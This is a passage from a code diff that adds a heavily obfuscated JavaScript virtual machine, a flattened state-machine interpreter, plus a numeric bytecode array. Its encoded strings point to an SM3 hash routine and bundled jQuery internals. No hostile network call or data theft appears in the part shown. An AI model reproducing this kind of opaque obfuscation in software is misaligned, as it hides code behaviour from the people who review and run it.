+= 134; + else + o += 16 + } else { + ue = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n); + o -= 66 + } + } + } + } else { + if (o < 108) { + if (o < 106) { + if (o < 105) { + return E + } else { + o += 129 + } + } else { + if (o < 107) { + o -= 38 + } else { + y = new i.g; + o += 69 + } + } + } else { + if (o < 110) { + if (o < 109) { + o += 97 + } else { + return 118 == j ? r << a : 16 == j ? r == a : 103 == j ? null : 6 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, 0, i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) : 94 == j ? r != a : 80 == j ? ~i(l, r, a, n) : 2 == j ? r <= a : 59 == j ? (we = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, !0), + Fe = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + we instanceof i.constructor ? i.apply.call(we, n[0].n, Fe) : (be = we[0][we[1]], + we[0]instanceof i.g ? i.apply.call(be, n.n, Fe) : i.apply.call(be, we[0], Fe))) : 52 == j ? r !== a : 68 == j ? r / a : 75 == j ? r ? --a[0][a[1]] : a[0][a[1]]-- : 46 == j ? (61 == (ce = l[C++]) && (Ce = l[C++]), + 53 == ce && (m = i(l, C, -2), + C = m.i, + Ce = m.n), + 70 == ce && (Ce = parseFloat(i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n))), + Ce) : 69 == j ? r[0][r[1]] /= a : 85 == j ? !i(l, r, a, n) : 111 == j ? r in a : 87 == j ? undefined : 120 == j ? (n.a = !0, + i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) : 62 == j ? r >> a : 93 == j ? r instanceof a : 81 == j ? (n.t && n.t[n.t.length - 1]).s = !0 : 110 == j ? r % a : 78 == j ? (n.m = !0, + je = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !1, + g[je] = n.u, + i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) : 95 == j ? n.n : 38 == j ? r || i(l, a, u, n) : 121 == j ? r[0][r[1]] |= a : 60 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, 0, i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), C++, (m = i(l, C, -3), + C = m.i, + m.n)) : 63 == j ? r * a : 19 == j ? r[0][r[1]] -= a : 92 == j ? r && i(l, a, u, n) : 1 == j ? (ce = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + he = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !1, + [ce, he, pe = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)]) : 30 == j ? r & a : 24 == j ? +i(l, r, a, n) : 101 == j ? r >= a : 91 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, 0, C++, (m = i(l, C, -3), + C = m.i, + m.n)) : 57 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n).pop() : 77 == j ? !((ue = i(l, r, a, n, !0))[0]instanceof i.g) && delete ue[0][ue[1]] : 119 == j ? r ? ++a[0][a[1]] : a[0][a[1]]++ : 116 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n) : 102 == j ? -i(l, r, a, n) : 37 == j ? r | a : 10 == j ? r[0][r[1]] %= a : 72 == j ? (xe = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + G = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !xe, + Ee = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !1, + t ? [G, Ee] : G[Ee]) : 3 == j ? (n.m = !0, + Re = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + n.m = !1, + Se = i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), + g[Re] = Se, + n.e ? [g, Re] : void 0) : 45 == j ? !!l[C++] : 36 == j ? r < a : 74 == j ? new RegExp(i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n),i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) : 97 == j ? r[0][r[1]] >>>= a : 125 == j ? typeof i(l, r, a, n) : 43 == j ? r > a : 15 == j ? r ^ a : 126 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n) : 21 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, 0, i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, !0), i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n)) : 96 == j ? i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, 0, i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n), i(l, C++, (m = i(l, C, -3), + C = m.i, + m.n), n, !0)) : 8 == j ? r[0][r[1]] += a : 113 == j ? r - a : 58 == j ? r + a : 104 == j ? (n.t && n.t[n.t.length - 1]).v = !0 : 26 == j ? r === a : 86 == j ? r[0][r[1]] = a : 64 == j ? r >>> a : void 0 + } + } else { + if (o < 111) { + if (l[s] > 127) + o += 3; + else + o += 97 + } else { + o -= 107 + } + } + } + } + } else { + if (o < 120) { + if (o < 116) { + if (o < 114) { + if (o < 113) { + o -= 6 + } else { + a += l[s++] - 128 << 7 * r++; + o += 33 + } + } else { + if (o < 115) { + a += l[s++] << 7 * r; + o += 53 + } else { + o += 117 + } + } + } else { + if (o < 118) { + if (o < 117) { + if (35 == j) + o -= 13; + else + o += 77 + } else { + o -= 7 + } + } else { + if (o < 119) { + o -= 116 + } else { + o += 38 + } + } + } + } else { + if (o < 124) { + if (o < 122) { + if (o < 121) { + o -= 72 + } else { + i(l, V, W, n); + o += 59 + } + } else { + if (o < 123) { + if (n || ((n = [this]).n = n[0], + n.t = [], + (v = {}).s = !1, + v.v = !1, + n.t.push(v), + i.r = i.g = i), + g = n[n.length - 1], + -3 == f || -2 == f) + o += 81; + else + o -= 78 + } else { + $[F] = "a[" + F + "]"; + o += 114 + } + } + } else { + if (o < 126) { + if (o < 125) { + if (h < c) + o += 77; + else + o -= 13 + } else { + E = []; + o -= 93 + } + } else { + if (o < 127) { + if (l[K] > 127) + o -= 48; + else + o += 19 + } else { + R = K++; + o += 23 + } + } + } + } + } + } + } + } else { + if (o < 192) { + if (o < 160) { + if (o < 144) { + if (o < 136) { + if (o < 132) { + if (o < 130) { + if (o < 129) { + L = J || l.length; + o -= 99 + } else { + o += 80 + } + } else { + if (o < 131) { + o -= 111 + } else { + o -= 26 + } + } + } else { + if (o < 134) { + if (o < 133) { + o += 49 + } else { + o -= 109 + } + } else { + if (o < 135) { + o += 105 + } else { + if (l[K] > 127) + o += 73; + else + o -= 52 + } + } + } + } else { + if (o < 140) { + if (o < 138) { + if (o < 137) { + return ye = String.fromCharCode.apply(null, me), + 65 == j || n.m ? ye : t ? [n[ve], ye] : n[ve][ye] + } else { + return i.constructor("F,a", "return new F(" + $.join(",") + ")")(Z, w) + } + } else { + if (o < 139) { + if (K < L) + o -= 125; + else + o -= 95 + } else { + var p, v, g, m, d, y, w, F, b, C, j, x, E, R, S, k, q, z, A, B, D, G, H, I, J, K, L, M, N, O, P, Q, T, U, V, W, X, Y, Z, $, _, ee, ie, le, se, fe, ne, te, re, ae, ue, oe, ce, he, pe, ve, ge, me, de, ye, we, Fe, be, Ce, je, xe, Ee, Re, Se; + o -= 43 + } + } + } else { + if (o < 142) { + if (o < 141) { + N = 0; + o -= 14 + } else { + 29 == j && (G[0][G[1]] = F); + o += 25 + } + } else { + if (o < 143) { + v = n.t && n.t[n.t.length - 1]; + o -= 17 + } else { + o -= 55 + } + } + } + } + } else { + if (o < 152) { + if (o < 148) { + if (o < 146) { + if (o < 145) { + o += 72 + } else { + o -= 59 + } + } else { + if (o < 147) { + o -= 29 + } else { + o -= 48 + } + } + } else { + if (o < 150) { + if (o < 149) { + i(l, r, a, n); + o -= 106 + } else { + ve = l[C++]; + o += 93 + } + } else { + if (o < 151) { + M = 0; + o += 37 + } else { + o += 88 + } + } + } + } else { + if (o < 156) { + if (o < 154) { + if (o < 153) { + o -= 33 + } else { + return new (i.bind.apply(Z, [null].concat(w))) + } + } else { + if (o < 155) { + F++; + o -= 114 + } else { + o -= 146 + } + } + } else { + if (o < 158) { + if (o < 157) { + o -= 12 + } else { + if (v.v || v.s) + o -= 97; + else + o -= 68 + } + } else { + if (o < 159) { + o -= 68 + } else { + o -= 133 + } + } + } + } + } + } else { + if (o < 176) { + if (o < 168) { + if (o < 164) { + if (o < 162) { + if (o < 161) { + C = m.i; + o -= 79 + } else { + m = i(l, C, -2), + C = m.i, + de = m.n, + me.push(de); + o -= 153 + } + } else { + if (o < 163) { + o -= 89 + } else { + o += 31 + } + } + } else { + if (o < 166) { + if (o < 165) { + try { + if (ne = i(l, _, ee, n), + n.a) + return ne + } catch (e) { + if (n.u = e, + te = i(l, ie, le, n), + n.a) + return te + } finally { + if (re = n.a, + n.a = !1, + ae = i(l, se, fe, n), + n.a) + return ae; + n.a = re + } + o += 48 + } else { + o -= 153 + } + } else { + if (o < 167) { + K = I || 0; + o -= 38 + } else { + o -= 20 + } + } + } + } else { + if (o < 172) { + if (o < 170) { + if (o < 169) { + o -= 59 + } else { + o -= 111 + } + } else { + if (o < 171) { + o += 36 + } else { + r = 0; + o += 46 + } + } + } else { + if (o < 174) { + if (o < 173) { + h++; + o -= 48 + } else { + o -= 107 + } + } else { + if (o < 175) { + return E + } else { + o -= 40 + } + } + } + } + } else { + if (o < 184) { + if (o < 180) { + if (o < 178) { + if (o < 177) { + w = [].slice.call(u); + o -= 130 + } else { + 112 == j && (O = !1); + o += 53 + } + } else { + if (o < 179) { + if (v.v) + o -= 177; + else + o += 66 + } else { + _ = C++, + m = i(l, C, -3), + C = m.i, + ee = m.n, + ie = C++, + m = i(l, C, -3), + C = m.i, + le = m.n, + se = C++, + m = i(l, C, -3), + C = m.i, + fe = m.n; + o -= 15 + } + } + } else { + if (o < 182) { + if (o < 181) { + if (O || i(l, T, U, n)) + o -= 3; + else + o -= 11 + } else { + o -= 79 + } + } else { + if (o < 183) { + o -= 49 + } else { + o -= 122 + } + } + } + } else { + if (o < 188) { + if (o < 186) { + if (o < 185) { + o -= 29 + } else { + var ke; + o += 43 + } + } else { + if (o < 187) { + if (F < ue.length) + o -= 169; + else + o += 40 + } else { + N = 0; + o += 36 + } + } + } else { + if (o < 190) { + if (o < 189) { + o -= 69 + } else { + o -= 138 + } + } else { + if (o < 191) { + o += 5 + } else { + o -= 55 + } + } + } + } + } + } + } else { + if (o < 224) { + if (o < 208) { + if (o < 200) { + if (o < 196) { + if (o < 194) { + if (o < 193) { + F = 0; + o += 49 + } else { + o += 2 + } + } else { + if (o < 195) { + o -= 145 + } else { + o -= 148 + } + } + } else { + if (o < 198) { + if (o < 197) { + o -= 139 + } else { + o -= 64 + } + } else { + if (o < 199) { + (v = {}).s = !1; + o -= 192 + } else { + if (109 != j) + o -= 154; + else + o -= 20 + } + } + } + } else { + if (o < 204) { + if (o < 202) { + if (o < 201) { + if (l[K] > 127) + o -= 167; + else + o -= 71 + } else { + F = qe[h]; + o -= 60 + } + } else { + if (o < 203) { + F++; + o -= 16 + } else { + if (-2 == f) + o -= 32; + else + o -= 148 + } + } + } else { + if (o < 206) { + if (o < 205) { + if (84 == j) + o -= 145; + else + o -= 84 + } else { + if (d = N + (l[K++] << 7 * M), + S = K + d - 1, + K += d, + E = i(l, R, S, n), + n.a) + o -= 169; + else + o -= 205 + } + } else { + if (o < 207) { + o -= 165 + } else { + o -= 93 + } + } + } + } + } else { + if (o < 216) { + if (o < 212) { + if (o < 210) { + if (o < 209) { + K++; + o -= 138 + } else { + K++; + o += 16 + } + } else { + if (o < 211) { + o -= 139 + } else { + F = 0; + o -= 171 + } + } + } else { + if (o < 214) { + if (o < 213) { + o -= 117 + } else { + o -= 113 + } + } else { + if (o < 215) { + n.t.push(v); + o += 29 + } else { + o += 10 + } + } + } + } else { + if (o < 220) { + if (o < 218) { + if (o < 217) { + $ = []; + o -= 5 + } else { + a = 0; + o -= 107 + } + } else { + if (o < 219) { + o -= 63 + } else { + o -= 25 + } + } + } else { + if (o < 222) { + if (o < 221) { + if (R = C++, + m = i(l, C, -3), + C = m.i, + S = m.n, + E.push(i(l, R, S, n)), + 3 != x && n.a) + o -= 185; + else + o -= 128 + } else { + o -= 169 + } + } else { + if (o < 223) { + F = 0; + o -= 36 + } else { + if (l[K] > 127) + o -= 130; + else + o -= 115 + } + } + } + } + } + } else { + if (o < 240) { + if (o < 232) { + if (o < 228) { + if (o < 226) { + if (o < 225) { + o -= 51 + } else { + if (K < L) + o -= 98; + else + o -= 12 + } + } else { + if (o < 227) { + o -= 141 + } else { + o -= 186 + } + } + } else { + if (o < 230) { + if (o < 229) { + var qe = []; + o -= 159 + } else { + 73 != j && 112 != j || (P = 0, + Q = -1, + T = C++, + m = i(l, C, -3), + C = m.i, + U = m.n, + V = 0, + W = -1, + X = C++, + m = i(l, C, -3), + C = m.i, + Y = m.n); + o += 2 + } + } else { + if (o < 231) { + K = X || 0; + o -= 227 + } else { + i(l, P, Q, n); + o -= 51 + } + } + } + } else { + if (o < 236) { + if (o < 234) { + if (o < 233) { + o -= 156 + } else { + o -= 214 + } + } else { + if (o < 235) { + if (t === i) + o -= 127; + else + o -= 178 + } else { + o -= 114 + } + } + } else { + if (o < 238) { + if (o < 237) { + return E[E.length - 1] + } else { + o -= 83 + } + } else { + if (o < 239) { + o -= 70 + } else { + o -= 21 + } + } + } + } + } else { + if (o < 248) { + if (o < 244) { + if (o < 242) { + if (o < 241) { + o -= 179 + } else { + if (F < ge) + o -= 80; + else + o -= 50 + } + } else { + if (o < 243) { + m = i(l, C, -2); + o -= 82 + } else { + v = n.t && n.t[n.t.length - 1]; + o -= 190 + } + } + } else { + if (o < 246) { + if (o < 245) { + if (v.s) + o += 4; + else + o -= 170 + } else { + o -= 183 + } + } else { + if (o < 247) { + o -= 226 + } else { + if (v.s) + o -= 156; + else + o -= 65 + } + } + } + } else { + if (o < 249) { + o -= 79 + } else { + o -= 247 + } + } + } + } + } + } + } + )([13, 245, 167, 11, 48, 241, 167, 11, 31, 167, 1, 4, 5, 0, 3, 83, 77, 51, 23, 0, 49, 155, 1, 49, 152, 1, 76, 36, 91, 15, 85, 0, 6, 11, 93, 0, 95, 0, 4, 5, 0, 3, 83, 77, 51, 49, 15, 49, 13, 120, 11, 84, 9, 4, 5, 0, 3, 83, 77, 51, 23, 0, 103, 0, 116, 36, 21, 34, 86, 0, 72, 13, 46, 2, 61, 0, 95, 0, 4, 5, 0, 3, 114, 101, 103, 84, 15, 4, 7, 0, 5, 65, 114, 114, 97, 121, 23, 4, 46, 2, 61, 8, 116, 25, 21, 23, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 104, 117, 110, 107, 126, 2, 23, 0, 116, 24, 21, 22, 86, 0, 72, 14, 46, 2, 61, 0, 95, 0, 4, 6, 0, 4, 115, 105, 122, 101, 46, 2, 61, 0, 116, 21, 59, 19, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 114, 101, 115, 101, 116, 23, 0, 31, 170, 2, 4, 11, 0, 9, 115, 109, 51, 68, 105, 103, 101, 115, 116, 23, 7, 4, 5, 1, 3, 109, 115, 103, 49, 145, 2, 49, 142, 2, 49, 23, 49, 21, 3, 19, 4, 6, 1, 4, 95, 115, 109, 51, 84, 9, 4, 5, 0, 3, 83, 77, 51, 23, 0, 49, 46, 49, 44, 3, 42, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 59, 30, 72, 19, 46, 2, 61, 0, 4, 6, 1, 4, 95, 115, 109, 51, 4, 5, 0, 3, 115, 117, 109, 23, 7, 4, 5, 1, 3, 109, 115, 103, 49, 181, 1, 49, 178, 1, 3, 175, 1, 4, 9, 1, 7, 104, 97, 115, 104, 72, 101, 120, 59, 161, 1, 72, 152, 1, 46, 2, 61, 0, 59, 137, 1, 72, 23, 46, 2, 61, 0, 4, 6, 1, 4, 95, 115, 109, 51, 4, 9, 0, 7, 116, 111, 65, 114, 114, 97, 121, 23, 110, 4, 8, 1, 6, 100, 105, 103, 101, 115, 116, 55, 98, 65, 2, 0, 0, 23, 8, 4, 6, 2, 4, 98, 121, 116, 101, 49, 82, 49, 80, 120, 78, 59, 76, 72, 64, 46, 2, 61, 0, 6, 49, 58, 0, 65, 3, 0, 1, 48, 59, 40, 72, 32, 46, 2, 61, 0, 6, 14, 30, 0, 4, 6, 2, 4, 98, 121, 116, 101, 46, 2, 61, 255, 4, 10, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 23, 4, 46, 2, 61, 16, 4, 7, 0, 5, 115, 108, 105, 99, 101, 23, 8, 91, 6, 102, 0, 46, 2, 61, 2, 4, 6, 0, 4, 106, 111, 105, 110, 23, 4, 65, 2, 0, 0, 120, 11, 4, 9, 1, 7, 104, 97, 115, 104, 72, 101, 120, 116, 210, 214, 10, 91, 206, 214, 10, 85, 0, 59, 200, 214, 10, 55, 194, 2, 65, 2, 0, 0, 23, 10, 4, 3, 1, 1, 97, 4, 3, 1, 1, 98, 49, 175, 2, 49, 172, 2, 116, 169, 2, 56, 166, 2, 60, 75, 92, 0, 6, 26, 16, 0, 65, 8, 0, 6, 111, 98, 106, 101, 99, 116, 91, 12, 125, 0, 4, 8, 0, 6, 109, 111, 100, 117, 108, 101, 6, 43, 16, 0, 65, 8, 0, 6, 111, 98, 106, 101, 99, 116, 91, 29, 125, 0, 72, 25, 46, 2, 61, 0, 4, 8, 0, 6, 109, 111, 100, 117, 108, 101, 4, 9, 0, 7, 101, 120, 112, 111, 114, 116, 115, 21, 200, 1, 86, 0, 72, 25, 46, 2, 61, 0, 4, 8, 0, 6, 109, 111, 100, 117, 108, 101, 4, 9, 0, 7, 101, 120, 112, 111, 114, 116, 115, 56, 168, 1, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 59, 20, 4, 3, 1, 1, 98, 23, 13, 4, 3, 1, 1, 97, 91, 6, 85, 0, 46, 2, 61, 0, 55, 121, 65, 2, 0, 0, 23, 5, 4, 3, 2, 1, 97, 49, 108, 49, 106, 76, 88, 91, 25, 85, 0, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 100, 111, 99, 117, 109, 101, 110, 116, 105, 57, 84, 55, 4, 7, 0, 5, 69, 114, 114, 111, 114, 23, 44, 65, 42, 0, 40, 106, 81, 117, 101, 114, 121, 32, 114, 101, 113, 117, 105, 114, 101, 115, 32, 97, 32, 119, 105, 110, 100, 111, 119, 32, 119, 105, 116, 104, 32, 97, 32, 100, 111, 99, 117, 109, 101, 110, 116, 103, 0, 120, 14, 59, 12, 4, 3, 1, 1, 98, 23, 5, 4, 3, 2, 1, 97, 59, 12, 4, 3, 1, 1, 98, 23, 5, 4, 3, 1, 1, 97, 23, 255, 211, 10, 56, 43, 6, 29, 94, 0, 65, 11, 0, 9, 117, 110, 100, 101, 102, 105, 110, 101, 100, 91, 12, 125, 0, 4, 8, 0, 6, 119, 105, 110, 100, 111, 119, 4, 8, 0, 6, 119, 105, 110, 100, 111, 119, 95, 0, 55, 206, 211, 10, 65, 2, 0, 0, 23, 10, 4, 3, 1, 1, 97, 4, 3, 1, 1, 98, 49, 186, 211, 10, 49, 182, 211, 10, 31, 207, 2, 4, 3, 1, 1, 115, 23, 5, 4, 3, 2, 1, 97, 49, 192, 2, 49, 189, 2, 49, 88, 49, 86, 3, 49, 4, 3, 2, 1, 98, 60, 42, 92, 0, 6, 17, 111, 0, 65, 8, 0, 6, 108, 101, 110, 103, 116, 104, 4, 3, 2, 1, 97, 72, 19, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 8, 0, 6, 108, 101, 110, 103, 116, 104, 3, 33, 4, 3, 2, 1, 99, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 116, 121, 112, 101, 23, 5, 4, 3, 2, 1, 97, 120, 224, 1, 56, 221, 1, 60, 55, 38, 0, 6, 19, 26, 0, 65, 10, 0, 8, 102, 117, 110, 99, 116, 105, 111, 110, 4, 3, 2, 1, 99, 59, 30, 72, 21, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 10, 0, 8, 105, 115, 87, 105, 110, 100, 111, 119, 23, 5, 4, 3, 2, 1, 97, 91, 6, 85, 0, 46, 2, 61, 1, 56, 153, 1, 60, 38, 92, 0, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 4, 3, 2, 1, 98, 91, 6, 85, 0, 46, 2, 61, 0, 60, 103, 38, 0, 60, 33, 38, 0, 6, 16, 26, 0, 65, 7, 0, 5, 97, 114, 114, 97, 121, 4, 3, 2, 1, 99, 6, 11, 26, 0, 46, 2, 61, 0, 4, 3, 2, 1, 98, 60, 64, 92, 0, 60, 38, 92, 0, 6, 21, 16, 0, 65, 8, 0, 6, 110, 117, 109, 98, 101, 114, 91, 7, 125, 0, 4, 3, 2, 1, 98, 6, 11, 43, 0, 4, 3, 2, 1, 98, 46, 2, 61, 0, 6, 20, 111, 0, 6, 11, 113, 0, 4, 3, 2, 1, 98, 46, 2, 61, 1, 4, 3, 2, 1, 97, 31, 142, 4, 4, 3, 1, 1, 120, 23, 15, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 245, 3, 49, 242, 3, 76, 145, 1, 59, 32, 72, 23, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 12, 0, 10, 105, 115, 70, 117, 110, 99, 116, 105, 111, 110, 23, 5, 4, 3, 2, 1, 98, 120, 107, 59, 105, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 103, 114, 101, 112, 23, 84, 4, 3, 2, 1, 97, 55, 77, 65, 2, 0, 0, 23, 10, 4, 3, 3, 1, 97, 4, 3, 3, 1, 100, 49, 59, 49, 57, 120, 55, 6, 53, 52, 0, 91, 44, 85, 0, 91, 40, 85, 0, 59, 36, 72, 17, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 6, 0, 4, 99, 97, 108, 108, 23, 15, 4, 3, 3, 1, 97, 4, 3, 3, 1, 100, 4, 3, 3, 1, 97, 4, 3, 2, 1, 99, 103, 0, 76, 97, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 120, 70, 59, 68, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 103, 114, 101, 112, 23, 47, 4, 3, 2, 1, 97, 55, 40, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 27, 49, 25, 120, 23, 6, 21, 52, 0, 6, 12, 26, 0, 4, 3, 3, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 103, 0, 76, 149, 1, 6, 21, 16, 0, 65, 8, 0, 6, 115, 116, 114, 105, 110, 103, 91, 7, 125, 0, 4, 3, 2, 1, 98, 49, 122, 49, 120, 76, 72, 59, 26, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 119, 4, 6, 0, 4, 116, 101, 115, 116, 23, 5, 4, 3, 2, 1, 98, 120, 40, 59, 38, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 102, 105, 108, 116, 101, 114, 23, 15, 4, 3, 2, 1, 98, 4, 3, 2, 1, 97, 4, 3, 2, 1, 99, 103, 0, 116, 44, 21, 42, 86, 0, 4, 3, 2, 1, 98, 59, 33, 72, 19, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 8, 0, 6, 102, 105, 108, 116, 101, 114, 23, 10, 4, 3, 2, 1, 98, 4, 3, 2, 1, 97, 103, 0, 120, 97, 59, 95, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 103, 114, 101, 112, 23, 74, 4, 3, 2, 1, 97, 55, 67, 65, 2, 0, 0, 23, 5, 4, 3, 3, 1, 97, 49, 54, 49, 52, 120, 50, 6, 48, 52, 0, 6, 39, 101, 0, 59, 31, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 103, 4, 6, 0, 4, 99, 97, 108, 108, 23, 10, 4, 3, 2, 1, 98, 4, 3, 3, 1, 97, 46, 2, 61, 0, 4, 3, 2, 1, 99, 31, 92, 4, 3, 1, 1, 68, 23, 10, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 49, 73, 49, 71, 73, 62, 60, 58, 92, 0, 21, 23, 86, 0, 4, 3, 2, 1, 97, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 6, 29, 52, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 79, 0, 120, 5, 4, 3, 2, 1, 97, 31, 176, 1, 4, 3, 1, 1, 71, 23, 5, 4, 3, 2, 1, 97, 49, 161, 1, 49, 158, 1, 49, 33, 49, 31, 3, 29, 4, 3, 2, 1, 98, 21, 22, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 1, 1, 70, 4, 3, 2, 1, 97, 35, 2, 23, 0, 120, 121, 57, 119, 23, 117, 59, 110, 72, 17, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 6, 0, 4, 101, 97, 99, 104, 23, 89, 60, 35, 38, 0, 59, 27, 72, 18, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 7, 0, 5, 109, 97, 116, 99, 104, 23, 5, 4, 3, 1, 1, 69, 126, 2, 23, 0, 55, 50, 65, 2, 0, 0, 23, 10, 4, 3, 3, 1, 97, 4, 3, 3, 1, 99, 49, 32, 49, 30, 116, 28, 21, 26, 86, 0, 72, 14, 46, 2, 61, 1, 4, 3, 2, 1, 98, 4, 3, 3, 1, 99, 91, 6, 85, 0, 46, 2, 61, 0, 4, 3, 2, 1, 98, 31, 176, 1, 4, 3, 1, 1, 73, 23, 0, 49, 166, 1, 49, 163, 1, 116, 160, 1, 57, 157, 1, 23, 154, 1, 59, 69, 72, 32, 46, 2, 61, 0, 4, 3, 1, 1, 108, 4, 21, 0, 19, 114, 101, 109, 111, 118, 101, 69, 118, 101, 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 23, 33, 65, 18, 0, 16, 68, 79, 77, 67, 111, 110, 116, 101, 110, 116, 76, 111, 97, 100, 101, 100, 4, 3, 1, 1, 73, 91, 6, 85, 0, 46, 2, 61, 1, 59, 57, 72, 32, 46, 2, 61, 0, 4, 3, 1, 1, 97, 4, 21, 0, 19, 114, 101, 109, 111, 118, 101, 69, 118, 101, 110, 116, 76, 105, 115, 116, 101, 110, 101, 114, 23, 21, 65, 6, 0, 4, 108, 111, 97, 100, 4, 3, 1, 1, 73, 91, 6, 85, 0, 46, 2, 61, 1, 59, 22, 72, 18, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 7, 0, 5, 114, 101, 97, 100, 121, 23, 0, 31, 203, 1, 4, 3, 1, 1, 75, 23, 0, 49, 193, 1, 49, 190, 1, 116, 187, 1, 57, 184, 1, 23, 181, 1, 59, 104, 72, 32, 46, 2, 61, 0, 4, 8, 0, 6, 79, 98, 106, 101, 99, 116, 4, 16, 0, 14, 100, 101, 102, 105, 110, 101, 80, 114, 111, 112, 101, 114, 116, 121, 23, 68, 21, 23, 86, 0, 72, 15, 46, 2, 61, 0, 95, 0, 4, 7, 0, 5, 99, 97, 99, 104, 101, 35, 2, 23, 0, 46, 2, 61, 0, 35, 37, 23, 35, 1, 33, 46, 2, 61, 42, 46, 2, 61, 0, 4, 5, 0, 3, 103, 101, 116, 55, 16, 65, 2, 0, 0, 23, 0, 49, 8, 49, 6, 120, 4, 35, 2, 23, 0, 21, 73, 86, 0, 72, 17, 46, 2, 61, 0, 95, 0, 4, 9, 0, 7, 101, 120, 112, 97, 110, 100, 111, 6, 50, 58, 0, 72, 20, 46, 2, 61, 0, 4, 3, 1, 1, 110, 4, 9, 0, 7, 101, 120, 112, 97, 110, 100, 111, 96, 24, 119, 0, 46, 2, 61, 0, 72, 16, 46, 2, 61, 0, 4, 3, 1, 1, 75, 4, 5, 0, 3, 117, 105, 100, 31, 165, 4, 4, 3, 1, 1, 80, 23, 15, 4, 3, 2, 1, 97, 4, 3, 2, 1, 98, 4, 3, 2, 1, 99, 49, 140, 4, 49, 137, 4, 49, 11, 49, 9, 3, 7, 4, 3, 2, 1, 100, 87, 0, 76, 242, 3, 60, 50, 92, 0, 6, 15, 26, 0, 91, 6, 32, 0, 46, 2, 61, 0, 4, 3, 2, 1, 99, 6, 29, 26, 0, 46, 2, 61, 1, 72, 21, 46, 2, 61, 0, 4, 3, 2, 1, 97, 4, 10, 0, 8, 110, 111, 100, 101, 84, 121, 112, 101, 76, 185, 3, 57, 156, 1, 23, 153, 1, 21, 83, 86, 0, 4, 3, 2, 1, 100, 6, 74, 58, 0, 65, 7, 0, 5, 100, 97, 116, 97, 45, 59, 61, 72, 57, 46, 2, 61, 0, 59, 36, 72, 20, 46, 2, 61, 0, 4, 3, 2, 1, 98, 4, 9, 0, 7, 114, 101, 112, 108, 97, 99, 101, 23, 12, 4, 3, 1, 1, 79, 65, 5, 0, 3, 45, 36, 49, 4, 13, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 